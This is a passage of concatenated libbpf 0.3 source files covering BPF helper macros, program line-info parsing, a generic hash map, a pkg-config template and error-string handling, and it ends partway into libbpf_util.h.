17 | /* Helper macro to print out debug messages */
18 | #define bpf_printk(fmt, ...) \
19 | ({ \
20 | char ____fmt[] = fmt; \
21 | bpf_trace_printk(____fmt, sizeof(____fmt), \
22 | ##__VA_ARGS__); \
23 | })
24 |
25 | /*
26 | * Helper macro to place programs, maps, license in
27 | * different sections in elf_bpf file. Section names
28 | * are interpreted by elf_bpf loader
29 | */
30 | #define SEC(NAME) __attribute__((section(NAME), used))
31 |
32 | #ifndef __always_inline
33 | #define __always_inline __attribute__((always_inline))
34 | #endif
35 | #ifndef __noinline
36 | #define __noinline __attribute__((noinline))
37 | #endif
38 | #ifndef __weak
39 | #define __weak __attribute__((weak))
40 | #endif
41 |
42 | /*
43 | * Helper macro to manipulate data structures
44 | */
45 | #ifndef offsetof
46 | #define offsetof(TYPE, MEMBER) ((unsigned long)&((TYPE *)0)->MEMBER)
47 | #endif
48 | #ifndef container_of
49 | #define container_of(ptr, type, member) \
50 | ({ \
51 | void *__mptr = (void *)(ptr); \
52 | ((type *)(__mptr - offsetof(type, member))); \
53 | })
54 | #endif
55 |
56 | /*
57 | * Helper macro to throw a compilation error if __bpf_unreachable() gets
58 | * built into the resulting code. This works given BPF back end does not
59 | * implement __builtin_trap(). This is useful to assert that certain paths
60 | * of the program code are never used and hence eliminated by the compiler.
61 | *
62 | * For example, consider a switch statement that covers known cases used by
63 | * the program. __bpf_unreachable() can then reside in the default case. If
64 | * the program gets extended such that a case is not covered in the switch
65 | * statement, then it will throw a build error due to the default case not
66 | * being compiled out.
67 | */
68 | #ifndef __bpf_unreachable
69 | # define __bpf_unreachable() __builtin_trap()
70 | #endif
71 |
72 | /*
73 | * Helper function to perform a tail call with a constant/immediate map slot.
74 | */
75 | #if __clang_major__ >= 8 && defined(__bpf__)
76 | static __always_inline void
77 | bpf_tail_call_static(void *ctx, const void *map, const __u32 slot)
78 | {
79 | if (!__builtin_constant_p(slot))
80 | __bpf_unreachable();
81 |
82 | /*
83 | * Provide a hard guarantee that LLVM won't optimize setting r2 (map
84 | * pointer) and r3 (constant map index) from _different paths_ ending
85 | * up at the _same_ call insn as otherwise we won't be able to use the
86 | * jmpq/nopl retpoline-free patching by the x86-64 JIT in the kernel
87 | * given they mismatch. See also d2e4c1e6c294 ("bpf: Constant map key
88 | * tracking for prog array pokes") for details on verifier tracking.
89 | *
90 | * Note on clobber list: we need to stay in-line with BPF calling
91 | * convention, so even if we don't end up using r0, r4, r5, we need
92 | * to mark them as clobber so that LLVM doesn't end up using them
93 | * before / after the call.
94 | */
95 | asm volatile("r1 = %[ctx]\n\t"
96 | "r2 = %[map]\n\t"
97 | "r3 = %[slot]\n\t"
98 | "call 12"
99 | :: [ctx]"r"(ctx), [map]"r"(map), [slot]"i"(slot)
100 | : "r0", "r1", "r2", "r3", "r4", "r5");
101 | }
102 | #endif
103 |
104 | /*
105 | * Helper structure used by eBPF C program
106 | * to describe BPF map attributes to libbpf loader
107 | */
108 | struct bpf_map_def {
109 | unsigned int type;
110 | unsigned int key_size;
111 | unsigned int value_size;
112 | unsigned int max_entries;
113 | unsigned int map_flags;
114 | };
115 |
116 | enum libbpf_pin_type {
117 | LIBBPF_PIN_NONE,
118 | /* PIN_BY_NAME: pin maps by name (in /sys/fs/bpf by default) */
119 | LIBBPF_PIN_BY_NAME,
120 | };
121 |
122 | enum libbpf_tristate {
123 | TRI_NO = 0,
124 | TRI_YES = 1,
125 | TRI_MODULE = 2,
126 | };
127 |
128 | #define __kconfig __attribute__((section(".kconfig")))
129 | #define __ksym __attribute__((section(".ksyms")))
130 |
131 | #endif
132 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/bpf_prog_linfo.c:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
2 | /* Copyright (c) 2018 Facebook */
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include "libbpf.h"
9 | #include "libbpf_internal.h"
10 |
11 | struct bpf_prog_linfo {
12 | void *raw_linfo;
13 | void *raw_jited_linfo;
14 | __u32 *nr_jited_linfo_per_func;
15 | __u32 *jited_linfo_func_idx;
16 | __u32 nr_linfo;
17 | __u32 nr_jited_func;
18 | __u32 rec_size;
19 | __u32 jited_rec_size;
20 | };
21 |
22 | static int dissect_jited_func(struct bpf_prog_linfo *prog_linfo,
23 | const __u64 *ksym_func, const __u32 *ksym_len)
24 | {
25 | __u32 nr_jited_func, nr_linfo;
26 | const void *raw_jited_linfo;
27 | const __u64 *jited_linfo;
28 | __u64 last_jited_linfo;
29 | /*
30 | * Index to raw_jited_linfo:
31 | * i: Index for searching the next ksym_func
32 | * prev_i: Index to the last found ksym_func
33 | */
34 | __u32 i, prev_i;
35 | __u32 f; /* Index to ksym_func */
36 |
37 | raw_jited_linfo = prog_linfo->raw_jited_linfo;
38 | jited_linfo = raw_jited_linfo;
39 | if (ksym_func[0] != *jited_linfo)
40 | goto errout;
41 |
42 | prog_linfo->jited_linfo_func_idx[0] = 0;
43 | nr_jited_func = prog_linfo->nr_jited_func;
44 | nr_linfo = prog_linfo->nr_linfo;
45 |
46 | for (prev_i = 0, i = 1, f = 1;
47 | i < nr_linfo && f < nr_jited_func;
48 | i++) {
49 | raw_jited_linfo += prog_linfo->jited_rec_size;
50 | last_jited_linfo = *jited_linfo;
51 | jited_linfo = raw_jited_linfo;
52 |
53 | if (ksym_func[f] == *jited_linfo) {
54 | prog_linfo->jited_linfo_func_idx[f] = i;
55 |
56 | /* Sanity check */
57 | if (last_jited_linfo - ksym_func[f - 1] + 1 >
58 | ksym_len[f - 1])
59 | goto errout;
60 |
61 | prog_linfo->nr_jited_linfo_per_func[f - 1] =
62 | i - prev_i;
63 | prev_i = i;
64 |
65 | /*
66 | * The ksym_func[f] is found in jited_linfo.
67 | * Look for the next one.
68 | */
69 | f++;
70 | } else if (*jited_linfo <= last_jited_linfo) {
71 | /* Ensure the addr is increasing _within_ a func */
72 | goto errout;
73 | }
74 | }
75 |
76 | if (f != nr_jited_func)
77 | goto errout;
78 |
79 | prog_linfo->nr_jited_linfo_per_func[nr_jited_func - 1] =
80 | nr_linfo - prev_i;
81 |
82 | return 0;
83 |
84 | errout:
85 | return -EINVAL;
86 | }
87 |
88 | void bpf_prog_linfo__free(struct bpf_prog_linfo *prog_linfo)
89 | {
90 | if (!prog_linfo)
91 | return;
92 |
93 | free(prog_linfo->raw_linfo);
94 | free(prog_linfo->raw_jited_linfo);
95 | free(prog_linfo->nr_jited_linfo_per_func);
96 | free(prog_linfo->jited_linfo_func_idx);
97 | free(prog_linfo);
98 | }
99 |
100 | struct bpf_prog_linfo *bpf_prog_linfo__new(const struct bpf_prog_info *info)
101 | {
102 | struct bpf_prog_linfo *prog_linfo;
103 | __u32 nr_linfo, nr_jited_func;
104 | __u64 data_sz;
105 |
106 | nr_linfo = info->nr_line_info;
107 |
108 | if (!nr_linfo)
109 | return NULL;
110 |
111 | /*
112 | * The min size that bpf_prog_linfo has to access for
113 | * searching purpose.
114 | */
115 | if (info->line_info_rec_size <
116 | offsetof(struct bpf_line_info, file_name_off))
117 | return NULL;
118 |
119 | prog_linfo = calloc(1, sizeof(*prog_linfo));
120 | if (!prog_linfo)
121 | return NULL;
122 |
123 | /* Copy xlated line_info */
124 | prog_linfo->nr_linfo = nr_linfo;
125 | prog_linfo->rec_size = info->line_info_rec_size;
126 | data_sz = (__u64)nr_linfo * prog_linfo->rec_size;
127 | prog_linfo->raw_linfo = malloc(data_sz);
128 | if (!prog_linfo->raw_linfo)
129 | goto err_free;
130 | memcpy(prog_linfo->raw_linfo, (void *)(long)info->line_info, data_sz);
131 |
132 | nr_jited_func = info->nr_jited_ksyms;
133 | if (!nr_jited_func ||
134 | !info->jited_line_info ||
135 | info->nr_jited_line_info != nr_linfo ||
136 | info->jited_line_info_rec_size < sizeof(__u64) ||
137 | info->nr_jited_func_lens != nr_jited_func ||
138 | !info->jited_ksyms ||
139 | !info->jited_func_lens)
140 | /* Not enough info to provide jited_line_info */
141 | return prog_linfo;
142 |
143 | /* Copy jited_line_info */
144 | prog_linfo->nr_jited_func = nr_jited_func;
145 | prog_linfo->jited_rec_size = info->jited_line_info_rec_size;
146 | data_sz = (__u64)nr_linfo * prog_linfo->jited_rec_size;
147 | prog_linfo->raw_jited_linfo = malloc(data_sz);
148 | if (!prog_linfo->raw_jited_linfo)
149 | goto err_free;
150 | memcpy(prog_linfo->raw_jited_linfo,
151 | (void *)(long)info->jited_line_info, data_sz);
152 |
153 | /* Number of jited_line_info per jited func */
154 | prog_linfo->nr_jited_linfo_per_func = malloc(nr_jited_func *
155 | sizeof(__u32));
156 | if (!prog_linfo->nr_jited_linfo_per_func)
157 | goto err_free;
158 |
159 | /*
160 | * For each jited func,
161 | * the start idx to the "linfo" and "jited_linfo" array,
162 | */
163 | prog_linfo->jited_linfo_func_idx = malloc(nr_jited_func *
164 | sizeof(__u32));
165 | if (!prog_linfo->jited_linfo_func_idx)
166 | goto err_free;
167 |
168 | if (dissect_jited_func(prog_linfo,
169 | (__u64 *)(long)info->jited_ksyms,
170 | (__u32 *)(long)info->jited_func_lens))
171 | goto err_free;
172 |
173 | return prog_linfo;
174 |
175 | err_free:
176 | bpf_prog_linfo__free(prog_linfo);
177 | return NULL;
178 | }
179 |
180 | const struct bpf_line_info *
181 | bpf_prog_linfo__lfind_addr_func(const struct bpf_prog_linfo *prog_linfo,
182 | __u64 addr, __u32 func_idx, __u32 nr_skip)
183 | {
184 | __u32 jited_rec_size, rec_size, nr_linfo, start, i;
185 | const void *raw_jited_linfo, *raw_linfo;
186 | const __u64 *jited_linfo;
187 |
188 | if (func_idx >= prog_linfo->nr_jited_func)
189 | return NULL;
190 |
191 | nr_linfo = prog_linfo->nr_jited_linfo_per_func[func_idx];
192 | if (nr_skip >= nr_linfo)
193 | return NULL;
194 |
195 | start = prog_linfo->jited_linfo_func_idx[func_idx] + nr_skip;
196 | jited_rec_size = prog_linfo->jited_rec_size;
197 | raw_jited_linfo = prog_linfo->raw_jited_linfo +
198 | (start * jited_rec_size);
199 | jited_linfo = raw_jited_linfo;
200 | if (addr < *jited_linfo)
201 | return NULL;
202 |
203 | nr_linfo -= nr_skip;
204 | rec_size = prog_linfo->rec_size;
205 | raw_linfo = prog_linfo->raw_linfo + (start * rec_size);
206 | for (i = 0; i < nr_linfo; i++) {
207 | if (addr < *jited_linfo)
208 | break;
209 |
210 | raw_linfo += rec_size;
211 | raw_jited_linfo += jited_rec_size;
212 | jited_linfo = raw_jited_linfo;
213 | }
214 |
215 | return raw_linfo - rec_size;
216 | }
217 |
218 | const struct bpf_line_info *
219 | bpf_prog_linfo__lfind(const struct bpf_prog_linfo *prog_linfo,
220 | __u32 insn_off, __u32 nr_skip)
221 | {
222 | const struct bpf_line_info *linfo;
223 | __u32 rec_size, nr_linfo, i;
224 | const void *raw_linfo;
225 |
226 | nr_linfo = prog_linfo->nr_linfo;
227 | if (nr_skip >= nr_linfo)
228 | return NULL;
229 |
230 | rec_size = prog_linfo->rec_size;
231 | raw_linfo = prog_linfo->raw_linfo + (nr_skip * rec_size);
232 | linfo = raw_linfo;
233 | if (insn_off < linfo->insn_off)
234 | return NULL;
235 |
236 | nr_linfo -= nr_skip;
237 | for (i = 0; i < nr_linfo; i++) {
238 | if (insn_off < linfo->insn_off)
239 | break;
240 |
241 | raw_linfo += rec_size;
242 | linfo = raw_linfo;
243 | }
244 |
245 | return raw_linfo - rec_size;
246 | }
247 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/hashmap.c:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
2 |
3 | /*
4 | * Generic non-thread safe hash map implementation.
5 | *
6 | * Copyright (c) 2019 Facebook
7 | */
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include "hashmap.h"
14 |
15 | /* make sure libbpf doesn't use kernel-only integer typedefs */
16 | #pragma GCC poison u8 u16 u32 u64 s8 s16 s32 s64
17 |
18 | /* prevent accidental re-addition of reallocarray() */
19 | #pragma GCC poison reallocarray
20 |
21 | /* start with 4 buckets */
22 | #define HASHMAP_MIN_CAP_BITS 2
23 |
24 | static void hashmap_add_entry(struct hashmap_entry **pprev,
25 | struct hashmap_entry *entry)
26 | {
27 | entry->next = *pprev;
28 | *pprev = entry;
29 | }
30 |
31 | static void hashmap_del_entry(struct hashmap_entry **pprev,
32 | struct hashmap_entry *entry)
33 | {
34 | *pprev = entry->next;
35 | entry->next = NULL;
36 | }
37 |
38 | void hashmap__init(struct hashmap *map, hashmap_hash_fn hash_fn,
39 | hashmap_equal_fn equal_fn, void *ctx)
40 | {
41 | map->hash_fn = hash_fn;
42 | map->equal_fn = equal_fn;
43 | map->ctx = ctx;
44 |
45 | map->buckets = NULL;
46 | map->cap = 0;
47 | map->cap_bits = 0;
48 | map->sz = 0;
49 | }
50 |
51 | struct hashmap *hashmap__new(hashmap_hash_fn hash_fn,
52 | hashmap_equal_fn equal_fn,
53 | void *ctx)
54 | {
55 | struct hashmap *map = malloc(sizeof(struct hashmap));
56 |
57 | if (!map)
58 | return ERR_PTR(-ENOMEM);
59 | hashmap__init(map, hash_fn, equal_fn, ctx);
60 | return map;
61 | }
62 |
63 | void hashmap__clear(struct hashmap *map)
64 | {
65 | struct hashmap_entry *cur, *tmp;
66 | size_t bkt;
67 |
68 | hashmap__for_each_entry_safe(map, cur, tmp, bkt) {
69 | free(cur);
70 | }
71 | free(map->buckets);
72 | map->buckets = NULL;
73 | map->cap = map->cap_bits = map->sz = 0;
74 | }
75 |
76 | void hashmap__free(struct hashmap *map)
77 | {
78 | if (!map)
79 | return;
80 |
81 | hashmap__clear(map);
82 | free(map);
83 | }
84 |
85 | size_t hashmap__size(const struct hashmap *map)
86 | {
87 | return map->sz;
88 | }
89 |
90 | size_t hashmap__capacity(const struct hashmap *map)
91 | {
92 | return map->cap;
93 | }
94 |
95 | static bool hashmap_needs_to_grow(struct hashmap *map)
96 | {
97 | /* grow if empty or more than 75% filled */
98 | return (map->cap == 0) || ((map->sz + 1) * 4 / 3 > map->cap);
99 | }
100 |
101 | static int hashmap_grow(struct hashmap *map)
102 | {
103 | struct hashmap_entry **new_buckets;
104 | struct hashmap_entry *cur, *tmp;
105 | size_t new_cap_bits, new_cap;
106 | size_t h, bkt;
107 |
108 | new_cap_bits = map->cap_bits + 1;
109 | if (new_cap_bits < HASHMAP_MIN_CAP_BITS)
110 | new_cap_bits = HASHMAP_MIN_CAP_BITS;
111 |
112 | new_cap = 1UL << new_cap_bits;
113 | new_buckets = calloc(new_cap, sizeof(new_buckets[0]));
114 | if (!new_buckets)
115 | return -ENOMEM;
116 |
117 | hashmap__for_each_entry_safe(map, cur, tmp, bkt) {
118 | h = hash_bits(map->hash_fn(cur->key, map->ctx), new_cap_bits);
119 | hashmap_add_entry(&new_buckets[h], cur);
120 | }
121 |
122 | map->cap = new_cap;
123 | map->cap_bits = new_cap_bits;
124 | free(map->buckets);
125 | map->buckets = new_buckets;
126 |
127 | return 0;
128 | }
129 |
130 | static bool hashmap_find_entry(const struct hashmap *map,
131 | const void *key, size_t hash,
132 | struct hashmap_entry ***pprev,
133 | struct hashmap_entry **entry)
134 | {
135 | struct hashmap_entry *cur, **prev_ptr;
136 |
137 | if (!map->buckets)
138 | return false;
139 |
140 | for (prev_ptr = &map->buckets[hash], cur = *prev_ptr;
141 | cur;
142 | prev_ptr = &cur->next, cur = cur->next) {
143 | if (map->equal_fn(cur->key, key, map->ctx)) {
144 | if (pprev)
145 | *pprev = prev_ptr;
146 | *entry = cur;
147 | return true;
148 | }
149 | }
150 |
151 | return false;
152 | }
153 |
154 | int hashmap__insert(struct hashmap *map, const void *key, void *value,
155 | enum hashmap_insert_strategy strategy,
156 | const void **old_key, void **old_value)
157 | {
158 | struct hashmap_entry *entry;
159 | size_t h;
160 | int err;
161 |
162 | if (old_key)
163 | *old_key = NULL;
164 | if (old_value)
165 | *old_value = NULL;
166 |
167 | h = hash_bits(map->hash_fn(key, map->ctx), map->cap_bits);
168 | if (strategy != HASHMAP_APPEND &&
169 | hashmap_find_entry(map, key, h, NULL, &entry)) {
170 | if (old_key)
171 | *old_key = entry->key;
172 | if (old_value)
173 | *old_value = entry->value;
174 |
175 | if (strategy == HASHMAP_SET || strategy == HASHMAP_UPDATE) {
176 | entry->key = key;
177 | entry->value = value;
178 | return 0;
179 | } else if (strategy == HASHMAP_ADD) {
180 | return -EEXIST;
181 | }
182 | }
183 |
184 | if (strategy == HASHMAP_UPDATE)
185 | return -ENOENT;
186 |
187 | if (hashmap_needs_to_grow(map)) {
188 | err = hashmap_grow(map);
189 | if (err)
190 | return err;
191 | h = hash_bits(map->hash_fn(key, map->ctx), map->cap_bits);
192 | }
193 |
194 | entry = malloc(sizeof(struct hashmap_entry));
195 | if (!entry)
196 | return -ENOMEM;
197 |
198 | entry->key = key;
199 | entry->value = value;
200 | hashmap_add_entry(&map->buckets[h], entry);
201 | map->sz++;
202 |
203 | return 0;
204 | }
205 |
206 | bool hashmap__find(const struct hashmap *map, const void *key, void **value)
207 | {
208 | struct hashmap_entry *entry;
209 | size_t h;
210 |
211 | h = hash_bits(map->hash_fn(key, map->ctx), map->cap_bits);
212 | if (!hashmap_find_entry(map, key, h, NULL, &entry))
213 | return false;
214 |
215 | if (value)
216 | *value = entry->value;
217 | return true;
218 | }
219 |
220 | bool hashmap__delete(struct hashmap *map, const void *key,
221 | const void **old_key, void **old_value)
222 | {
223 | struct hashmap_entry **pprev, *entry;
224 | size_t h;
225 |
226 | h = hash_bits(map->hash_fn(key, map->ctx), map->cap_bits);
227 | if (!hashmap_find_entry(map, key, h, &pprev, &entry))
228 | return false;
229 |
230 | if (old_key)
231 | *old_key = entry->key;
232 | if (old_value)
233 | *old_value = entry->value;
234 |
235 | hashmap_del_entry(pprev, entry);
236 | free(entry);
237 | map->sz--;
238 |
239 | return true;
240 | }
241 |
242 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/hashmap.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 |
3 | /*
4 | * Generic non-thread safe hash map implementation.
5 | *
6 | * Copyright (c) 2019 Facebook
7 | */
8 | #ifndef __LIBBPF_HASHMAP_H
9 | #define __LIBBPF_HASHMAP_H
10 |
11 | #include
12 | #include
13 | #include
14 |
15 | static inline size_t hash_bits(size_t h, int bits)
16 | {
17 | /* shuffle bits and return requested number of upper bits */
18 | if (bits == 0)
19 | return 0;
20 |
21 | #if (__SIZEOF_SIZE_T__ == __SIZEOF_LONG_LONG__)
22 | /* LP64 case */
23 | return (h * 11400714819323198485llu) >> (__SIZEOF_LONG_LONG__ * 8 - bits);
24 | #elif (__SIZEOF_SIZE_T__ <= __SIZEOF_LONG__)
25 | return (h * 2654435769lu) >> (__SIZEOF_LONG__ * 8 - bits);
26 | #else
27 | # error "Unsupported size_t size"
28 | #endif
29 | }
30 |
31 | /* generic C-string hashing function */
32 | static inline size_t str_hash(const char *s)
33 | {
34 | size_t h = 0;
35 |
36 | while (*s) {
37 | h = h * 31 + *s;
38 | s++;
39 | }
40 | return h;
41 | }
42 |
43 | typedef size_t (*hashmap_hash_fn)(const void *key, void *ctx);
44 | typedef bool (*hashmap_equal_fn)(const void *key1, const void *key2, void *ctx);
45 |
46 | struct hashmap_entry {
47 | const void *key;
48 | void *value;
49 | struct hashmap_entry *next;
50 | };
51 |
52 | struct hashmap {
53 | hashmap_hash_fn hash_fn;
54 | hashmap_equal_fn equal_fn;
55 | void *ctx;
56 |
57 | struct hashmap_entry **buckets;
58 | size_t cap;
59 | size_t cap_bits;
60 | size_t sz;
61 | };
62 |
63 | #define HASHMAP_INIT(hash_fn, equal_fn, ctx) { \
64 | .hash_fn = (hash_fn), \
65 | .equal_fn = (equal_fn), \
66 | .ctx = (ctx), \
67 | .buckets = NULL, \
68 | .cap = 0, \
69 | .cap_bits = 0, \
70 | .sz = 0, \
71 | }
72 |
73 | void hashmap__init(struct hashmap *map, hashmap_hash_fn hash_fn,
74 | hashmap_equal_fn equal_fn, void *ctx);
75 | struct hashmap *hashmap__new(hashmap_hash_fn hash_fn,
76 | hashmap_equal_fn equal_fn,
77 | void *ctx);
78 | void hashmap__clear(struct hashmap *map);
79 | void hashmap__free(struct hashmap *map);
80 |
81 | size_t hashmap__size(const struct hashmap *map);
82 | size_t hashmap__capacity(const struct hashmap *map);
83 |
84 | /*
85 | * Hashmap insertion strategy:
86 | * - HASHMAP_ADD - only add key/value if key doesn't exist yet;
87 | * - HASHMAP_SET - add key/value pair if key doesn't exist yet; otherwise,
88 | * update value;
89 | * - HASHMAP_UPDATE - update value, if key already exists; otherwise, do
90 | * nothing and return -ENOENT;
91 | * - HASHMAP_APPEND - always add key/value pair, even if key already exists.
92 | * This turns hashmap into a multimap by allowing multiple values to be
93 | * associated with the same key. Most useful read API for such hashmap is
94 | * hashmap__for_each_key_entry() iteration. If hashmap__find() is still
95 | * used, it will return last inserted key/value entry (first in a bucket
96 | * chain).
97 | */
98 | enum hashmap_insert_strategy {
99 | HASHMAP_ADD,
100 | HASHMAP_SET,
101 | HASHMAP_UPDATE,
102 | HASHMAP_APPEND,
103 | };
104 |
105 | /*
106 | * hashmap__insert() adds key/value entry w/ various semantics, depending on
107 | * provided strategy value. If a given key/value pair replaced already
108 | * existing key/value pair, both old key and old value will be returned
109 | * through old_key and old_value to allow calling code do proper memory
110 | * management.
111 | */
112 | int hashmap__insert(struct hashmap *map, const void *key, void *value,
113 | enum hashmap_insert_strategy strategy,
114 | const void **old_key, void **old_value);
115 |
116 | static inline int hashmap__add(struct hashmap *map,
117 | const void *key, void *value)
118 | {
119 | return hashmap__insert(map, key, value, HASHMAP_ADD, NULL, NULL);
120 | }
121 |
122 | static inline int hashmap__set(struct hashmap *map,
123 | const void *key, void *value,
124 | const void **old_key, void **old_value)
125 | {
126 | return hashmap__insert(map, key, value, HASHMAP_SET,
127 | old_key, old_value);
128 | }
129 |
130 | static inline int hashmap__update(struct hashmap *map,
131 | const void *key, void *value,
132 | const void **old_key, void **old_value)
133 | {
134 | return hashmap__insert(map, key, value, HASHMAP_UPDATE,
135 | old_key, old_value);
136 | }
137 |
138 | static inline int hashmap__append(struct hashmap *map,
139 | const void *key, void *value)
140 | {
141 | return hashmap__insert(map, key, value, HASHMAP_APPEND, NULL, NULL);
142 | }
143 |
144 | bool hashmap__delete(struct hashmap *map, const void *key,
145 | const void **old_key, void **old_value);
146 |
147 | bool hashmap__find(const struct hashmap *map, const void *key, void **value);
148 |
149 | /*
150 | * hashmap__for_each_entry - iterate over all entries in hashmap
151 | * @map: hashmap to iterate
152 | * @cur: struct hashmap_entry * used as a loop cursor
153 | * @bkt: integer used as a bucket loop cursor
154 | */
155 | #define hashmap__for_each_entry(map, cur, bkt) \
156 | for (bkt = 0; bkt < map->cap; bkt++) \
157 | for (cur = map->buckets[bkt]; cur; cur = cur->next)
158 |
159 | /*
160 | * hashmap__for_each_entry_safe - iterate over all entries in hashmap, safe
161 | * against removals
162 | * @map: hashmap to iterate
163 | * @cur: struct hashmap_entry * used as a loop cursor
164 | * @tmp: struct hashmap_entry * used as a temporary next cursor storage
165 | * @bkt: integer used as a bucket loop cursor
166 | */
167 | #define hashmap__for_each_entry_safe(map, cur, tmp, bkt) \
168 | for (bkt = 0; bkt < map->cap; bkt++) \
169 | for (cur = map->buckets[bkt]; \
170 | cur && ({tmp = cur->next; true; }); \
171 | cur = tmp)
172 |
173 | /*
174 | * hashmap__for_each_key_entry - iterate over entries associated with given key
175 | * @map: hashmap to iterate
176 | * @cur: struct hashmap_entry * used as a loop cursor
177 | * @key: key to iterate entries for
178 | */
179 | #define hashmap__for_each_key_entry(map, cur, _key) \
180 | for (cur = map->buckets \
181 | ? map->buckets[hash_bits(map->hash_fn((_key), map->ctx), map->cap_bits)] \
182 | : NULL; \
183 | cur; \
184 | cur = cur->next) \
185 | if (map->equal_fn(cur->key, (_key), map->ctx))
186 |
187 | #define hashmap__for_each_key_entry_safe(map, cur, tmp, _key) \
188 | for (cur = map->buckets \
189 | ? map->buckets[hash_bits(map->hash_fn((_key), map->ctx), map->cap_bits)] \
190 | : NULL; \
191 | cur && ({ tmp = cur->next; true; }); \
192 | cur = tmp) \
193 | if (map->equal_fn(cur->key, (_key), map->ctx))
194 |
195 | #endif /* __LIBBPF_HASHMAP_H */
196 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/libbpf.pc.template:
--------------------------------------------------------------------------------
1 | # SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
2 |
3 | prefix=@PREFIX@
4 | libdir=@LIBDIR@
5 | includedir=${prefix}/include
6 |
7 | Name: libbpf
8 | Description: BPF library
9 | Version: @VERSION@
10 | Libs: -L${libdir} -lbpf
11 | Requires.private: libelf zlib
12 | Cflags: -I${includedir}
13 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/libbpf_common.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 |
3 | /*
4 | * Common user-facing libbpf helpers.
5 | *
6 | * Copyright (c) 2019 Facebook
7 | */
8 |
9 | #ifndef __LIBBPF_LIBBPF_COMMON_H
10 | #define __LIBBPF_LIBBPF_COMMON_H
11 |
12 | #include
13 |
14 | #ifndef LIBBPF_API
15 | #define LIBBPF_API __attribute__((visibility("default")))
16 | #endif
17 |
18 | #define LIBBPF_DEPRECATED(msg) __attribute__((deprecated(msg)))
19 |
20 | /* Helper macro to declare and initialize libbpf options struct
21 | *
22 | * This dance with uninitialized declaration, followed by memset to zero,
23 | * followed by assignment using compound literal syntax is done to preserve
24 | * ability to use a nice struct field initialization syntax and **hopefully**
25 | * have all the padding bytes initialized to zero. It's not guaranteed though,
26 | * when copying literal, that compiler won't copy garbage in literal's padding
27 | * bytes, but that's the best way I've found and it seems to work in practice.
28 | *
29 | * Macro declares opts struct of given type and name, zero-initializes,
30 | * including any extra padding, it with memset() and then assigns initial
31 | * values provided by users in struct initializer-syntax as varargs.
32 | */
33 | #define DECLARE_LIBBPF_OPTS(TYPE, NAME, ...) \
34 | struct TYPE NAME = ({ \
35 | memset(&NAME, 0, sizeof(struct TYPE)); \
36 | (struct TYPE) { \
37 | .sz = sizeof(struct TYPE), \
38 | __VA_ARGS__ \
39 | }; \
40 | })
41 |
42 | #endif /* __LIBBPF_LIBBPF_COMMON_H */
43 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/libbpf_errno.c:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
2 |
3 | /*
4 | * Copyright (C) 2013-2015 Alexei Starovoitov
5 | * Copyright (C) 2015 Wang Nan
6 | * Copyright (C) 2015 Huawei Inc.
7 | * Copyright (C) 2017 Nicira, Inc.
8 | */
9 |
10 | #undef _GNU_SOURCE
11 | #include
12 | #include
13 |
14 | #include "libbpf.h"
15 |
16 | /* make sure libbpf doesn't use kernel-only integer typedefs */
17 | #pragma GCC poison u8 u16 u32 u64 s8 s16 s32 s64
18 |
19 | #define ERRNO_OFFSET(e) ((e) - __LIBBPF_ERRNO__START)
20 | #define ERRCODE_OFFSET(c) ERRNO_OFFSET(LIBBPF_ERRNO__##c)
21 | #define NR_ERRNO (__LIBBPF_ERRNO__END - __LIBBPF_ERRNO__START)
22 |
23 | static const char *libbpf_strerror_table[NR_ERRNO] = {
24 | [ERRCODE_OFFSET(LIBELF)] = "Something wrong in libelf",
25 | [ERRCODE_OFFSET(FORMAT)] = "BPF object format invalid",
26 | [ERRCODE_OFFSET(KVERSION)] = "'version' section incorrect or lost",
27 | [ERRCODE_OFFSET(ENDIAN)] = "Endian mismatch",
28 | [ERRCODE_OFFSET(INTERNAL)] = "Internal error in libbpf",
29 | [ERRCODE_OFFSET(RELOC)] = "Relocation failed",
30 | [ERRCODE_OFFSET(VERIFY)] = "Kernel verifier blocks program loading",
31 | [ERRCODE_OFFSET(PROG2BIG)] = "Program too big",
32 | [ERRCODE_OFFSET(KVER)] = "Incorrect kernel version",
33 | [ERRCODE_OFFSET(PROGTYPE)] = "Kernel doesn't support this program type",
34 | [ERRCODE_OFFSET(WRNGPID)] = "Wrong pid in netlink message",
35 | [ERRCODE_OFFSET(INVSEQ)] = "Invalid netlink sequence",
36 | [ERRCODE_OFFSET(NLPARSE)] = "Incorrect netlink message parsing",
37 | };
38 |
39 | int libbpf_strerror(int err, char *buf, size_t size)
40 | {
41 | if (!buf || !size)
42 | return -1;
43 |
44 | err = err > 0 ? err : -err;
45 |
46 | if (err < __LIBBPF_ERRNO__START) {
47 | int ret;
48 |
49 | ret = strerror_r(err, buf, size);
50 | buf[size - 1] = '\0';
51 | return ret;
52 | }
53 |
54 | if (err < __LIBBPF_ERRNO__END) {
55 | const char *msg;
56 |
57 | msg = libbpf_strerror_table[ERRNO_OFFSET(err)];
58 | snprintf(buf, size, "%s", msg);
59 | buf[size - 1] = '\0';
60 | return 0;
61 | }
62 |
63 | snprintf(buf, size, "Unknown libbpf error %d", err);
64 | buf[size - 1] = '\0';
65 | return -1;
66 | }
67 |
--------------------------------------------------------------------------------
/libbpf-0.3/src/libbpf_util.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 | /* Copyright (c) 2019 Facebook */
3 |
4 | #ifndef __LIBBPF_LIBBPF_UTIL_H
5 | #define __LIBBPF_LIBBPF_UTIL_H
6 |
7 | #include
8 |
9 | #ifdef __cplusplus
10 | extern "C" {
11 | #endif
12 |
13 | /* Use these barrier functions instead of smp_[rw]mb() when they are
